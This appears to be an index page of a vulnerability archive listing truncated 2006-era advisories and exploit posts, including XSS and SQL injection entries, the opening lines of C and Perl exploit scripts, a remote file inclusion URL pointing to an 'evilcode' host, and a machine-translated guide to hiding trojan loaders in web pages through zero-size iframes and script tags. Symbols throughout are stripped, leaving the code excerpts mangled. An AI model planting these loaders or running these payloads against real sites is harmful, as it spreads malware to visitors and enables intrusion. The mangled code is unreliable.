CVE-2006-6272

Cross-site scripting XSS vulnerability in spindex.php in Simple PHP Gallery 1.1 allows remote attackers to inject arbitrary web script or HTML via the dir parameter...

PT-2006-6712 · 20/20 · 20/20 Datashed

Name of the Vulnerable Software and Affected Versions: 20/20 DataShed aka Real Estate Listing System affected versions not specified Description: The issue allows remote attackers to execute arbitrary SQL commands. This can be achieved via the itemID parameter to "f-email.asp", or the peopleID an...

动网(DVBBS)tongji.asp文件未过滤注入漏洞

6 if request"orders"=1 then 7 call tongji 8 elseif request"orders"=2 then 9 call topuser ... 60 sub topuser 61 set rs=server.createobject"adodb.recordset" 62 sql="select top "&request"n"&" username,useremail,userclass,oicq,homepage,article,addDate from user order by article desc"...

easypageSQL.txt

vendor : easypage.org BY : s3rv3rhack3r www : hackerz.ir & h4ckerz.com bug : default.aspx?page=Search&app=Search&srch=sql and more...

xpoll110.txt

Discovered by Sirdarckcat from elhacker.net X-Poll 1.10 http://members.lycos.co.uk/xscripts03/ ============================================== X-Poll is a simple poll maker for simple PHP web sites. This has a SQL Injection vulnerability. ============================================== PoC:...

DEBIAN-CVE-2006-4111

Ruby on Rails before 1.1.5 allows remote attackers to execute Ruby code with "severe" or "serious" impact via a File Upload request with an HTTP header that modifies the LOADPATH variable, a different vulnerability than CVE-2006-4112...

Microsoft IIS ASP Stack Overflow Exploit (MS06-034)

No description provided by source. include stdio.h include windows.h / Microsoft IIS ASP Stack Overflow ExploitMS06-034 by cocoruderfrankruderathotmail.com,2006/7/13 page:http://ruder.cdut.net/default.asp successfully test on Windows 2000 Server SP4+IIS5.0, On Windows 2003 Server+IIS6.0,because t...

QTOFileManager 1.0

-------------------------- Cross Site Scripting XSS -------------------------- http://target.xx/qtofm.php?delete=3Cscript3Ealert22Ellipsis20Security20Test223C/script3E&u=username&pathext=1...

CVE-2006-3156

CVE-2006-3156 describes a cross-site scripting (XSS) vulnerability in the web application, specifically in the file index.cgi of Ultimate eShop 1.0 and earlier. The issue is exploitable via the subid parameter and allows remote attackers to inject arbitrary web script or HTML. The available metad...

DEBIAN-CVE-2006-2106

Cross-site scripting XSS vulnerability in Edgewall Software Trac 0.9.4 and earlier allows remote attackers to inject arbitrary web script or HTML via unknown attack vectors related to a "wiki macro."...

Grep with web vulnerability discovery-vulnerability warning-the black bar safety net

Grep with web vulnerability mining Text/SuperHeiAtph4nt0m.org 2006-03-08 a. The following grephttp://www.interlog.com/tcharron/grep.htmldoes not support the-r parameter,you can use the following format: grep-in "\include|require\" C:\test\. php C:\test\admin\. php You can also use cygwin...

Simplog 0.9.3 - tid SQL Injection

Simplog 0.9.3 - tid SQL Injection !/usr/bin/perl Method found & Exploit scripted by nukedx Contacts ICQ: 10072 MSN/Main: [email protected] web: www.nukedx.com Original advisory: http://www.nukedx.com/?viewdoc=25 Usage: simplog.pl use IO::Socket; if@ARGV != 2 usage; else exploit; sub header print...

osCommerce "extras/" information/source code disclosure

---- osCommerce = 2.2 "extras/" information/source code disclosure ------------ software site: http://www.oscommerce.com/ if extras/ folder is placed inside the www path, you can see all files on target system, including php source code with database details, poc:...

[BuHa-Security] Stack Based Buffer Overflow Vulnerability in Amaya 9.4 #2

-----BEGIN PGP SIGNED MESSAGE----- Hash: RIPEMD160 --------------------------------------------------- | BuHa Security-Advisory 11 | Apr 12th, 2006 | --------------------------------------------------- | Vendor | W3C's Amaya | | URL | http://www.w3.org/Amaya/ | | Version | = 9.4 | | Risk | Critic...

CVE-2006-1574

Cross-site scripting XSS vulnerability in Groupmax World Wide Web, World Wide Web Desktop, World Wide Web for Scheduler, and Desktop for Scheduler, allows remote attackers to inject arbitrary web script or HTML via unknown attack vectors...

CVE-2006-1377

The CVE-2006-1377 entry describes a Cross-site scripting (XSS) vulnerability in img.php for the applications EasyMoblog 0.5.1 and CoMoblog 1.1 , where an attacker can inject arbitrary web script or HTML via the i parameter. The vulnerability is triggered remotely and the impact stated is that the...

MiniNuke 1.8.2 - Multiple SQL Injections

Contacts: ICQ: 10072 MSN/Email: [email protected] Web: http://www.nukedx.com --- Vendor: MiniNuke www.miniex.net Version: 1.8.2 and prior versions must be affected. About:Via this method remote attacker can inject SQL query to the news.asp --- How&Example: GET -...

Acidcat-bypass.txt

http://hamid.ir Acidcat CMS is a web site and simple content management system that can be administered via a web browser. It is free for non-commercial use.Acidcat CMS is also an open source product. The product has been found to contain multiple security vulnerabilities allowing a remote attack...

Hang the page of the horse a couple of methods-vulnerability warning-the black bar safety net

One, the most simple are also the most effective iframe src=http://www.xxx.com/muma.html width=0 height=0/iframe Second, js hang horse script src=http://www. xxx. com/muma. js/script Third, the js modification encryption SCRIPT language="JScript. Encode" src=http://www. xxx. com/muma. txt/script...

oste1.0.txt

This is a toplist script Web Site : http://oste.nerdie.org site closed Version : Only 1.0 anyway there is a piece : Code : http://www.site.com/index.php?page=http://evilcode?&cmd= or www.site.com/?site=evilcode?&cmd= Google look for : OSTE v1.0 © 2003 Tyler Hall Thanks all Kurdish Hackers and...